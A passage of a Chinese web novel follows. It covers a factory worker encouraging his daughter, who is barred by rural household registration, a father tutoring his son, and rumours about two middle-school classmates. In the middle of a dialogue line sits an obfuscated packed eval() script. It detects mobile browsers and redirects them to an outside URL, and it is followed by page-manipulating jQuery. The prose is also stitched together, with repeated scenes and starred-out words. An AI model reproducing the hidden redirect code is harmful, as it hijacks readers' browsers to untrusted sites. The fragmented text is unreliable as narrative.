盛夏，日光将城市烤得滚烫，蝉鸣织成一张绵密的网，罩得人心里发慌。
在机械厂那间狭小昏暗、弥漫着机油味的宿舍里，任世和刚结束了一天疲惫不堪的劳作。
他身形佝偻，双手满是老茧与污渍。他洗了好几遍，指甲缝里仍嵌着洗不掉的黑垢。
他缓缓坐到那张漆面剥落的书桌前，桌上堆满了女儿的旧课本，边角卷曲，每一页都写满了娟秀字迹。
任世和轻叹了口气，从抽屉深处掏出一叠信纸，那是他从牙缝里省钱买的，微微泛黄，粗糙却珍贵。
“闺女，见字如面。”笔尖落纸，墨水洇开，他的眼神瞬间柔和，仿佛女儿就在眼前，扎着马尾，眼睛亮晶晶的。
“爸知道，这些日子因为户口的事儿，让你受委屈了。回村里考试，条件比不上城里，可你硬是凭着一股倔强劲儿考上了县重点高中，爸打心眼里为你骄傲。”
窗外，工厂的烟囱冒着滚滚浓烟，机器的轰鸣声隐隐传来，似在催促着时间快走。
任世和揉了揉酸涩的眼，继续写道：“别管旁人说啥，农村户口咋了？咱不偷不抢，靠自己本事读书。你在学校就一门心思往前冲，每次考试都给爸争口气，让那些小瞧咱的人看看，咱乡下人脑袋瓜灵着呢！”
他想起上次回老家，女儿站在村口接他，身形单薄，眼神却炽热坚定，说要考出农村，改变命运。
“你每解出一道难题，每多背会一篇课文，都是在给自己铺一条好路。爸没本事，这农转非指标跑得腿都断了，还是没着落，可爸相信，只要你成绩拔尖，往后啥好机会都能攥在手里。”
这时，冰玉推门而入，瞧见他写信，打趣道：“又给咱家千金大小姐大学苗子鼓劲儿呢？”任世和憨憨一笑，没言语，等冰玉睡去他才又添了几笔：“闺女，晚上别熬太晚，身体垮了可不行。爸在城里一切都好，你缺啥就写信说，等放假了，爸接你进城逛……”
信末，他的字迹有些颤抖，落下一个笨拙的签名。封好信，贴上邮票，任世和才觉心里一块巨石落了地。
他望向窗外月色，仿佛看到女儿在台灯下拆信展读，眉眼弯弯，重燃斗志，那是他在这喧嚣又冰冷城市里，唯一的暖与盼，支撑他次日迎着朝阳，再度为生活与女儿的未来奔忙，不惧前路漫长。
那年除夕夜的爆竹声震落屋檐积雪，任世和蹲在煤炉前添煤，火光照亮他攥紧的拳头。
铝盆里的白菜饺子已经凉透，浩怡低头扒拉着碗里的饺子皮，弟弟家的两个孩子正趴在窗台上数烟花。
“爸，我不想考了。“浩怡突然开口，声音轻得像片雪花。
世和的铁钳“当啷“掉在青砖地上。
火苗猛地窜起，映得墙上那张泛黄的“先进工作者“奖状忽明忽暗。他想起白天在教育局看到的场景——其他孩子蹦跳着领取报名表，而浩怡的学籍表还躺在户籍科的铁皮柜里，压在一摞盖着红章的文件下。
深夜，煤油灯芯“噼啪“炸开火星。世和展开皱巴巴的笔记本，用秃了的钢笔头在扉页写下：“1.找王经理借房产证2.托表姐联系老家公社3.每周跑三次户籍科“。
笔尖划破纸张的声响惊醒了睡在里屋的妻子，她披着补丁摞补丁的棉袄出来，鬓角的白发在灯光下刺得人眼疼：“他爸，要不......“
“不行！“世和猛地起身，木椅在地面划出刺耳的声响。
他摸到口袋里浩楠的数学竞赛奖状，纸张边缘被汗水浸得发软。七年前父亲临终前塞给他的银元还藏在樟木箱底，此刻仿佛在掌心发烫。
“浩怡的机会没了，但浩楠、浩檀，还有侄子们......“他声音发颤，“不能让孩子们像我一样，被一张纸困住一辈子。“
凌晨四点，世和推着打满补丁的自行车出门。
车胎上缠着新换的内胎，链条抹了厚厚的黄油。寒风灌进磨破的袖口，他却觉得浑身发烫。
路过国营饭店时，橱窗里的霓虹灯在雪地上投下“供应短缺“的字样，而他的帆布包里，装着连夜写好的**书，还有孩子们的成绩单。
当第一缕晨光染红机械厂的烟囱时，世和站在公司办公室门口。玻璃门映出他发红的眼眶和磨破的鞋尖，而手中的**书已经被攥出褶皱。
他深吸一口气，想起浩怡昨天偷偷塞进他口袋的烤红薯——那是女儿省下自己的口粮烤的。
推门的瞬间，他听见自己剧烈的心跳声，像战鼓般震得胸腔发麻。
校园的白墙在岁月侵蚀下有些斑驳，操场上的跑道沙砾粗糙，篮球架锈迹斑斑。男生宿舍区，一间狭小的屋子里，昏黄灯光竭力撑开昏暗。
丁工程师身形清瘦，戴着副黑框眼镜，镜片后的双眼透着股专注劲儿。
此刻，他正蹲在地上，仔细擦拭从家里带来的小煤炉，手上沾满煤灰也毫不在意。
旁边桌上，几样简单蔬菜码放整齐，那是刚从学校附近集市淘换来的，为的是给正长身体的儿子做点可口饭菜。
“爸，这题咋整？”儿子丁扬抱着书本，眉头皱成死结，嘟囔着凑过来。丁工立马起身，在围裙上蹭蹭手，接过书，目光一扫，便拉着儿子到床边坐下。
他拿起铅笔，在草稿纸上刷刷画图，嘴里念叨：“看，这几何图形得找关键辅助线，就像搭积木，找准这根‘撑子’，结构就稳了……”丁扬眼睛随着笔尖转，时而点头，时而沉思。
夜幕低垂，屋里弥漫着饭菜香，父子俩相对而坐，快速扒拉着饭菜。
“多吃点，吃饱才有力气念书。”丁工不断给儿子夹菜。
饭后，他又像变戏法似的掏出一沓自己手抄的习题，字体工整得如同印刷：“做完这些，巩固下知识点，基础打不牢，高楼可建不起来。”
灯光拉长父子俩一坐一写的身影，偶尔有同学路过门口，探进脑袋打趣：“丁扬，你爸这陪读太专业啦！”
丁工腼腆一笑，又低头盯着儿子作业，一旦有错，立刻轻声细语指出，耐心讲解，直至丁扬彻底明白。
等儿子睡下，丁工轻手轻脚收拾好书本纸笔，坐在床边给儿子掖掖被子，目光满是慈爱与期许。
窗外，月光洒在校园小径，他默默盘算着明日菜谱，思索还有哪些知识点要帮儿子强化，静谧夜里，这间小小的宿舍装着沉甸甸的父爱，以及对孩子考入重点高中的炽热梦想，无惧日子琐碎艰难，一心向前。
初二（4）班这几日像是被投进了一颗重磅**，炸得教室里嗡嗡作响，所有人都在悄声议论着郭明磊和班花林晓红的事儿。
郭明磊，那可是各科老师眼中的尖子生，每次考试成绩一公布，榜首位置跟被他焊**似的。
课堂上，不论多刁钻的难题，他稍作思考便能条理清晰地解出，老师提问时，他从容站起应答，声音沉稳，镜片后的双眸透着股子聪慧劲儿。
平日里，他总是穿着干净整洁的校服，背着个洗得微微泛白的书包，走路带风，大步流星，仿佛满心满眼只有那些书本知识。
与他整日形影不离的林晓红，那模样，就像是从青春偶像剧里走出来的女主角。
一头乌黑微鬈的长发，松松地扎个马尾，几缕碎发垂在白皙的脖颈边，肌肤仿若透着光，双眸亮晶晶的，笑起来还有两个浅浅梨涡，班上男生给她递纸条的事儿都快成了公开的秘密。
可她的成绩却像坐过山车，忽上忽下，全凭运气似的。上次数学测验，她对着试卷愁眉苦脸了大半节课，咬着笔头，抓耳挠腮，最后交卷时，卷面还有大片空白。
不知从哪天起，两人总是一同出现在校园小道上，清晨相伴入校，课间偶尔凑在一块儿讨论题目，放学后也并肩朝着校外走去。
一开始大家还没觉着异样，可次数多了，流言蜚语就像春日疯长的野草，瞬间蔓延开来。
“哎，你说郭明磊和林晓红是不是在早恋啊？天天凑那么近。”同桌手肘捅了捅前排同学，小声嘀咕道。
“
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16688351|179808||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
我看像！昨天我瞧见他俩在操场角落说话，林晓红笑得那叫一个甜，郭明磊还帮她拿书包呢！”前排同学回过头，一脸笃定，音量不自觉拔高了几分。
这话像长了翅膀，没一会儿就传遍全班。
那年的蝉鸣黏在教室的纱窗上，初二（4）班后排的郭明磊又在课本空白处画林晓红的马尾辫。
粉笔灰扑簌簌落在他的《代数》课本上，把新画的蝴蝶结晕染成朦胧的灰影。
前排女生突然压低声音：“快看！他俩又传纸条了！“
林晓红接过折成纸鹤形状的纸条时，钢笔尖在作业本上洇出墨点。
她垂着眼帘，鬓角的碎发挡住泛红的脸颊，而郭明磊正把下巴抵在堆叠的课本上，故意用橡皮擦出细碎的白屑，仿佛这只是堂普通的自习课。
窗外梧桐叶沙沙作响，将纸条展开的窸窣声掩得严严实实。
午休时分，两人一前一后来到操场角落的双杠下。郭明磊踢开脚边的石子，摸出藏在裤兜的水果糖——那是他省下半个月的早点钱买的。
糖纸在阳光下折射出彩虹，林晓红却盯着远处嬉笑的同学，突然把糖塞回他手里：“别被人看见。“
她的指甲剪得干净整齐，指尖还沾着早上帮老师批作业的红墨水。
传言像涨潮的海水漫过整个年级。张莉莉在课间操时故意撞翻林晓红的搪瓷缸，绿豆汤泼在她洗得发白的蓝布裙上。
“哟，装什么清高？“刺耳的声音引得众人侧目，而林晓红只是弯腰捡起缸子，平静地用手帕擦拭水渍，仿佛那滩污渍只是不小心溅上的墨汁。
郭明磊把挑衅的男生堵在厕所时，拳头都在发抖。
对方却嬉笑着举起双手：“急什么？大家都知道你俩......“
话音未落，上课铃突然响起。
郭明磊松开揪着对方衣领的手，转身时，看见林晓红站在走廊尽头，正望着他的背影轻轻摇头。
暮色降临时，郭明磊在林晓红的课桌里塞了封信。
泛黄的信纸上，用英雄牌钢笔写着：“明天六点，老地方。“
第二天清晨，他攥着信等在双杠下，露水打湿了裤脚。
直到早读铃响，林晓红的身影始终没有出现。他展开皱巴巴的信纸，发现背面多了行娟秀的小字：“把喜欢，藏进课本里。“
教室里，两人隔着三张课桌的距离，继续做着习题。
郭明磊偷偷撕下草稿纸一角，折成小船放在过道，林晓红路过时轻轻一推，纸船顺着风飘向窗外。
梧桐叶打着旋儿落在船身，远处传来其他同学的哄笑，他们却像专注解题般，谁都没有回头。
几个好事的男生凑在一起，脑袋挨着脑袋，压低声音商量着：“咱得弄清楚，不能就这么不明不白的，派个人跟踪看看，抓点实锤。”
很快，一个小个子男生就被推了出来，就是陈晓浩，领了这“秘密任务”，佯装若无其事地远远缀在郭明磊和林晓红身后，眼睛却像探照灯般死死盯着他俩的一举一动，稍有风吹草动，便准备回去大肆汇报。
而这场闹剧的主角之一郭明磊，却似浑然不觉班里这暗流涌动。依旧每日早早来到教室晨读，课本翻得哗哗作响，背诵知识点时专注投入，对周遭异样目光和窃窃私语仿若隔了层透明玻璃，丝毫未入他心，成绩也稳稳地居高不下，仿佛那些流言丝毫影响不了他一心向学的劲头。
倒是林晓红，偶尔课间望向窗外，瞥见扎堆议论的同学，眼神会闪躲一下，咬着嘴唇，脸上泛起一丝红晕，手指不安地揪着衣角，那漂亮脸蛋上闪过一丝旁人难以察觉的窘迫与羞赧。
在这方小小的天地里，郭明磊就像一颗自带光芒却又有些神秘莫测的星辰。
他的成绩在年级里都能名列前茅，课堂于他而言，是游刃有余的主场。
老师抛出那些复杂晦涩的难题，恰似投出的绣球，总能被郭明磊稳稳接住，三两下便拆解清晰，回答时条理分明，逻辑严谨，令众人折服。